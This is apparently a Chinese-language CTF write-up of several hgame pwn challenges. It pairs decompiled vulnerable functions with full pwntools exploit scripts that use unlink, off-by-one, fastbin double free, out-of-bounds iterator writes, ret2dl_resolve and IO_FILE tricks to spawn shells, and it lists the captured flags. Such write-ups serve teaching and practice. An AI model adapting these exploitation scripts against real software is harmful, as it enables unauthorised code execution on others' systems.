1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *debug = 1 context(arch="amd64" , endian='el' , os="linux" ) context.log_level = "debug" if debug == 1 : p = process('./Annevi' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) else : p = remote('47.103.214.163' , 20301 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) elf = ELF('./Annevi' , checksec=False ) def add (add_size, add_content) : p.sendlineafter(':' , '1' ) p.sendlineafter('size?\n' , str(add_size)) p.sendlineafter('content:' , add_content) def delete (delete_idx) : p.sendlineafter(':' , '2' ) p.sendlineafter('index?\n' , str(delete_idx)) def show (show_idx) : p.sendlineafter(':' , '3' ) p.sendlineafter('index?\n' , str(show_idx)) p.recvuntil('content:' ) def edit (edit_idx, edit_content) : p.sendlineafter(':' , '4' ) p.sendlineafter('index?\n' , str(edit_idx)) p.sendlineafter('content:' , edit_content) addr_chunk_list = 0x602040 add(0x90 , '' ) add(0x90 , '' ) add(0x90 , '' ) add(0x90 , '' ) add(0x90 , '/bin/sh\x00' ) delete(0 ) add(0x90 , '' ) show(0 ) addr___malloc_hook = u64(p.recv(6 ).ljust(8 , '\x00' )) + 0x6 libcbase = addr___malloc_hook - libc.sym['__malloc_hook' ] addr_system = libcbase + libc.sym['system' ] addr___free_hook = libcbase + libc.sym['__free_hook' ] pd = p64(0 ) + p64(0x91 ) pd += p64(0x602040 - 0x8 ) + p64(0x602040 ) pd += '\x00' * 0x70 pd += p64(0x90 ) + p64(0xa0 ) edit(2 , pd) delete(3 ) edit(2 , p64(0 ) + p64(addr___free_hook)) edit(0 , p64(addr_system)) delete(4 ) success('addr___malloc_hook = ' + hex(addr___malloc_hook)) success('addr_system = ' + hex(addr_system)) success('addr___free_hook = ' + hex(addr___free_hook)) p.interactive()
Flag: 1 hgame{unununununununlink}
E99p1ant_Note Description:
libc 2.23 nc 47.103.214.163 20302
Solution: 程序保护如下:
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
exp如下:
add 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 __int64 add () { signed int i; int v2; for ( i = 0 ; ; ++i ) { if ( i > 19 ) { puts ("full!" ); return 0L L; } if ( !list [i] ) break ; } puts ("size?" ); v2 = readi("size?" ); if ( v2 > 0x100 ) { puts ("Invalid size!" ); exit (0 ); } list [i] = malloc (v2); sizelist[i] = v2; printf ("content:" ); read_n(list [i], v2); puts ("done!" ); return 0L L; }
delete 函数依旧没有 UAF,edit 函数也没啥特殊,但是 edit 函数和 add 函数都有一个漏洞函数 read_n,read_n 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall read_n (__int64 a1, int a2) { int i; for ( i = 0 ; i <= a2; ++i ) { read(0 , (i + a1), 1u LL); if ( *(i + a1) == 10 ) break ; } return 0L L; }
能看出这函数多写了一个字符到内存里,所以我们可以利用这个性质打 off_by_one 的漏洞
释放一个堆块使让它包含着两个小堆块,再次申请回来两个小堆块,这样堆块列表就会存着两个第二个小堆块的地址
利用这个性质开心 double free 即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *debug = 1 context(arch="amd64" , endian='el' , os="linux" ) context.log_level = "debug" if debug == 1 : p = process('./E99' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) else : p = remote('47.103.214.163' , 20302 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) elf = ELF('./E99' , checksec=False ) def add (add_size, add_content) : p.sendlineafter(':' , '1' ) p.sendlineafter('size?\n' , str(add_size)) p.sendlineafter('content:' , add_content) def delete (delete_idx) : p.sendlineafter(':' , '2' ) p.sendlineafter('index?\n' , str(delete_idx)) def show (show_idx) : p.sendlineafter(':' , '3' ) p.sendlineafter('index?\n' , str(show_idx)) p.recvuntil('content:' ) def edit (edit_idx, edit_content) : p.sendlineafter(':' , '4' ) p.sendlineafter('index?\n' , str(edit_idx)) p.sendafter('content:' , edit_content) addr_chunk_list = 0x202040 libc_one_gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] add(0x88 , '' ) add(0xf8 , '' ) add(0x68 , '' ) add(0x68 , '' ) delete(0 ) add(0x88 , '' ) show(0 ) addr___malloc_hook = u64(p.recv(6 ).ljust(8 , '\x00' )) + 0x6 libcbase = addr___malloc_hook - libc.sym['__malloc_hook' ] addr_one_gadget = libcbase + libc_one_gadget[3 ] pd = 'a' * 0x80 pd += p64(0 ) + '\x71' edit(0 , pd) delete(1 ) add(0xf8 , '' ) add(0x68 , '' ) delete(2 ) delete(3 ) delete(4 ) add(0x68 , p64(addr___malloc_hook - 0x23 )) add(0x68 , p64(addr___malloc_hook - 0x23 )) add(0x68 , p64(addr___malloc_hook - 0x23 )) pd = '\x00' * 0x13 pd += p64(addr_one_gadget) add(0x68 , pd) p.sendlineafter(':' , '1' ) p.sendlineafter('size?\n' , '16' ) success('addr___malloc_hook = ' + hex(addr___malloc_hook)) success('addr_one_gadget = ' + hex(addr_one_gadget)) p.interactive()
Flag: 1 hgame{offoffoffbybybyoneoneone}
junior_iterator Description:
nc 47.103.214.163 20303
Solution: 程序保护如下:
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
程序主函数如下,这里我修改了不少函数名字:
1 2 3 4 5 6 7 8 9 10 11 12 13 int menu () { puts ("----------" ); puts ("1. New phone list" ); puts ("2. show list item" ); puts ("3. edit list item" ); puts ("4. overwrite list" ); puts ("5. show all list" ); puts ("6. exit" ); puts ("----------" ); printf ("> " ); return input_atoi(); }
有用的函数下标:1、3、4、5,先放函数 1(add):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int add () { __int64 v0; char v2; unsigned int i; int v4; printf ("List count: " ); v4 = input_atoi(); for ( i = 0 ; i <= 9 ; ++i ) { if ( !list_id_4050E0[i] ) { no_use_6(&v2); v0 = operator new (0x18 uLL); malloc_src_size_desc(v0, v4, &v2); list_id_4050E0[i] = v0; no_use_14(&v2); return printf ("Create success, id: %d\n" , i); } } return puts ("List MAX" ); }
函数 3(edit):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int edit () { bool v1; __int64 v2; int v3; int v4; _QWORD *v5; printf ("List id: " ); v3 = input_atoi(); if ( v3 < 0 || v3 > 10 ) return puts ("id out of range" ); v5 = list_id_4050E0[v3]; if ( !v5 ) return puts ("List undefined" ); printf ("Item id: " ); v4 = input_atoi(); v1 = v4 < 0 || v4 > no_use_18(v5); if ( v1 ) return puts ("item id out of range" ); printf ("New number: " ); v2 = input_atol(); *throw_range_error(v5, v4) = v2; return puts ("Edit success" ); }
函数 4(overwrite):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 int overwrite () { int v1; int v2; int v3; int v4; __int64 v5; __int64 v6; __int64 v7; __int64 v8; __int64 v9; printf ("List id: " ); v3 = input_atoi(); if ( v3 < 0 || v3 > 10 ) return puts ("id out of range" ); v9 = list_id_4050E0[v3]; if ( !v9 ) return puts ("List undefined" ); printf ("Star id: " ); v1 = input_atoi(); printf ("End id: " ); v2 = input_atoi(); printf ("New number: " ); v4 = input_atoi(); v8 = equal_(v9); v5 = get_addr_rdi_row_rsi_col(&v8, v1); v7 = equal_(v9); v8 = get_addr_rdi_row_rsi_col(&v7, v2); v6 = get_addr_rdi_row_rsi_col(&v8, 1L L); v8 = equal(v9); if ( iterator_equal_check(&v6, &v8) ) { while ( iterator_equal_check(&v5, &v6) ) { *use_iterator(&v5) = v4; iterator_add_8(&v5); } } return puts ("Overwrite Done" ); }
函数 5(show_all):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 void show_list () { _QWORD *v0; signed int i; __int64 j; __int64 v3; __int64 v4; for ( i = 0 ; i <= 9 ; ++i ) { v4 = list_id_4050E0[i]; if ( v4 ) { for ( j = equal_(v4); ; iterator_add_8(&j) ) { v3 = equal(v4); if ( !iterator_equal_check(&j, &v3) ) break ; v0 = use_iterator(&j); printf ("List %d : %ld\n" , i, *v0); } } } }
这题漏洞点主要是在这,直接拿堆看比较清晰,函数 1(add)调用后会产生两个堆:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0x210ec10 FASTBIN { prev_size = 0x0 , size = 0x21 , fd = 0x210ec40 , bk = 0x210ec48 , fd_nextsize = 0x210ec48 , bk_nextsize = 0x21 , } 0x210ec30 FASTBIN { prev_size = 0x210ec48 , size = 0x21 , fd = 0x0 , bk = 0x0 , fd_nextsize = 0x0 , bk_nextsize = 0x21 , }
上面的堆是 iterator 用来找结尾地址用的,从 fd 的值开始,每一次加 8,直到等于 bk 的值
下面的堆就是用来写入字符串的地址,fd 是 item 0,bk 是 item 1,以此类推
overwrite 函数有着越界写的能力,所以可以先创建两个 list 通过上一个 list 修改下一个 list 的 fd 和 bk
按上图来说,就是 0x210ec40 和 0x210ec48 所处的地址,将其改为 got 表的某一项和该项的后 n 位,n 的具体值要看该 got 表地址后几项上面出现了 libc 的地址
即用 overwrite 函数改写完后,通过输入 5 来进行 libc 泄露
之后通过 edit 函数修改 got 表值为 system,再输入/bin/sh
即可,这里我选择修改的是 got_atol,因为只有在 edit 函数里它才会被调用
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *import binasciidebug = 1 context(arch="amd64" , endian='el' , os="linux" ) context.log_level = "debug" if debug == 1 : p = process('./main' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) else : p = remote('47.103.214.163' , 20303 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) elf = ELF('./main' , checksec=False ) def add (add_count) : p.sendlineafter('> ' , '1' ) p.sendlineafter('List count: ' , str(add_count)) def edit (edit_list_id, edit_item_id, edit_content) : p.sendlineafter('> ' , '3' ) p.sendlineafter('List id: ' , str(edit_list_id)) p.sendlineafter('Item id: ' , str(edit_item_id)) p.sendlineafter('New number: ' , str(edit_content)) def overwrite (overwrite_list_id, overwrite_item_start_id, overwrite_item_end_id, overwrite_content) : p.sendlineafter('> ' , '4' ) p.sendlineafter('List id: ' , str(overwrite_list_id)) p.sendlineafter('Star id: ' , str(overwrite_item_start_id)) p.sendlineafter('End id: ' , str(overwrite_item_end_id)) p.sendlineafter('New number: ' , str(overwrite_content)) got_atol = elf.got['atol' ] add(1 ) add(1 ) overwrite(0 , 4 , 4 , got_atol) overwrite(0 , 5 , 5 , got_atol + 0x40 ) p.sendlineafter('> ' , '5' ) p.recvuntil(' : ' ) p.recvuntil(' : ' ) p.recvuntil(' : ' ) addr_read = int(p.recvuntil('\n' )[: -1 ]) libcbase = addr_read - libc.sym['read' ] addr_system = libcbase + libc.sym['system' ] edit(1 , 0 , addr_system) edit(0 , 0 , '/bin/sh\x00' ) success('addr_read = ' + hex(addr_read)) success('addr_system = ' + hex(addr_system)) p.interactive()
Flag: 1 hgame{THE_4maz1ng_C++_Pwn}
ROP_LEVEL5 Description:
Do you know the Lv.5?Just like Misaka Mikoto! nc 47.103.214.163 20700
Solution: 程序保护如下:
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
主函数如下:
1 2 3 4 5 6 7 8 9 10 11 ssize_t vuln(){ char buf; setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); puts ("Are you the LEVEL5?" ); close(1 ); close(2 ); return read(0 , &buf, 0x100 u); }
关了标准输出和错误输出,能用的函数还就那么几个,所以我使用了 ret2_dl_resolve
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *debug = 1 context(arch="i386" , endian='el' , os="linux" ) context.log_level = "debug" if debug == 1 : p = process('./ROP5' ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' , checksec=False ) else : p = remote('47.103.214.163' , 20700 ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' , checksec=False ) elf = ELF('./ROP5' , checksec=False ) got_read = elf.got['read' ] plt_read = elf.plt['read' ] addr_main = 0x804855C addr_bss = elf.bss(0x100 ) addr_rel_plt = elf.get_section_by_name('.rel.plt' ).header.sh_addr addr_dynsym = elf.get_section_by_name('.dynsym' ).header.sh_addr addr_dynstr = elf.get_section_by_name('.dynstr' ).header.sh_addr addr_plt_0 = elf.get_section_by_name('.plt' ).header.sh_addr dl_indexbase = addr_bss - addr_rel_plt dl_index_dynsym = (addr_bss + 0xc - addr_dynsym) / 0x10 dl_r_info = (dl_index_dynsym << 8 ) | 7 dl_st_name = addr_bss + 0x18 - addr_dynstr pd = 'a' * 0x48 pd += p32(plt_read) pd += p32(addr_main) pd += p32(0 ) pd += p32(addr_bss) pd += p32(0x200 ) p.sendlineafter('Are you the LEVEL5?\n' , pd) sleep(1 ) success('dl_indexbase = ' + hex(dl_indexbase)) success('dl_index_dynsym = ' + hex(dl_index_dynsym)) success('dl_r_info = ' + hex(dl_r_info)) success('dl_st_name = ' + hex(dl_st_name)) pd = p32(got_read) pd += p32(dl_r_info) pd += p32(dl_st_name) pd += p32(0 ) * 2 pd += p32(12 ) pd += 'system\x00\x00' pd += '/bin/sh\x00' p.sendline(pd) sleep(2 ) pd = 'a' * 0x48 pd += p32(addr_plt_0) pd += p32(dl_indexbase) pd += p32(addr_main) pd += p32(addr_bss + 8 * 4 ) p.sendline(pd) sleep(1 ) p.sendline("exec 1>&0" ) p.interactive()
Flag: 1 hgame{ROP_LEVEL5_Judgelight}
Annevi_Note2 Description:
Do you know the IO_FILE? libc 2.23 nc 47.103.214.163 20701
Solution: 程序保护如下:
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
主程序如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; setbuf(stdin , 0L L); setbuf(stdout , 0L L); setbuf(stderr , 0L L); init(); while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); v3 = readi(); if ( v3 != 2 ) break ; dele(); } if ( v3 > 2 ) break ; if ( v3 != 1 ) goto LABEL_13; add(); } if ( v3 == 3 ) { show(); } else { if ( v3 != 4 ) LABEL_13: exit (0 ); edit(); } } }
漏洞点全在 edit 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 edit () { int v1; puts ("index?" ); v1 = readi(); if ( list [v1] ) { printf ("content:" ); read_n(list [v1], 0x100 ); puts ("done!" ); } else { puts ("Invalid index!" ); } return 0L L; }
数组越界写加上 0x100 这个东西可以修改堆块头部,我们看 add 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 __int64 add () { signed int i; signed int v2; for ( i = 0 ; ; ++i ) { if ( i > 19 ) { puts ("full!" ); return 0L L; } if ( !list [i] ) break ; } puts ("size?" ); v2 = readi(); if ( v2 <= 0x8F || v2 > 0x400 ) { puts ("Invalid size!" ); exit (0 ); } list [i] = malloc (v2); printf ("content:" ); read_n(list [i], v2); puts ("done!" ); return 0L L; }
这个大小完全可以改头部,程序初始化时有一个烦人的关闭标准输出流:
1 2 3 4 5 6 int init () { puts ("Annevi!The eternal God!" ); puts ("Welcome to Annevi's note2" ); return close(1 ); }
我们可以依靠 edit 函数的越界写来修改_IO_2_1_stdout_
内部的_fileno
为 2,用错误输出流来输出内容
这样之后就可以继续 unlink,然后泄露 libc,继续修改 got_free 为 addr_system,来释放/bin/sh 1>&2
获得 shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *debug = 1 context(arch="amd64" , endian='el' , os="linux" ) context.log_level = "debug" if debug == 1 : p = process('./AN2' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) else : p = remote('47.103.214.163' , 20701 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) elf = ELF('./AN2' , checksec=False ) def add (add_size, add_content) : p.sendlineafter('4.edit\n:' , '1' ) p.sendlineafter('size?\n' , str(add_size)) p.sendline(add_content) def delete (delete_idx) : p.sendlineafter('4.edit\n:' , '2' ) p.sendlineafter('index?\n' , str(delete_idx)) def edit (edit_idx, edit_content) : p.sendlineafter('4.edit\n:' , '4' ) p.sendlineafter('index?\n' , str(edit_idx)) p.sendline(edit_content) got_free = elf.got['free' ] got_puts = elf.got['puts' ] plt_puts = elf.plt['puts' ] addr_stdout = 0x6020A0 addr_chunk_list = 0x6020E0 p.recvuntil("Welcome to Annevi's note2\n" ) p.sendline('4' ) sleep(0.3 ) p.sendline(str((addr_stdout - addr_chunk_list) / 8 )) sleep(0.3 ) p.sendline(p64(0xfbad28a7 ) + p64(0 ) * 13 + p32(2 )) sleep(0.3 ) add(0x90 , '' ) add(0x90 , '' ) add(0x90 , '/bin/sh 1>&2' ) add(0x90 , '' ) add(0x90 , '' ) pd = p64(0 ) + p64(0x91 ) pd += p64(addr_chunk_list) + p64(addr_chunk_list + 8 ) pd += '\x00' * 0x70 pd += p64(0x90 ) + p64(0xa0 ) edit(3 , pd) delete(4 ) pd = p64(got_free) pd += p64(got_puts) edit(3 , pd) edit(0 , p64(plt_puts)) delete(1 ) addr_puts = u64(p.recv(6 ).ljust(8 , '\x00' )) libcbase = addr_puts - libc.sym['puts' ] addr_system = libcbase + libc.sym['system' ] edit(0 , p64(addr_system)) delete(2 ) success('addr_puts = ' + hex(addr_puts)) success('addr_system = ' + hex(addr_system)) p.interactive()
Flag: 1 hgame{le4k_W1th_1O_F1LE}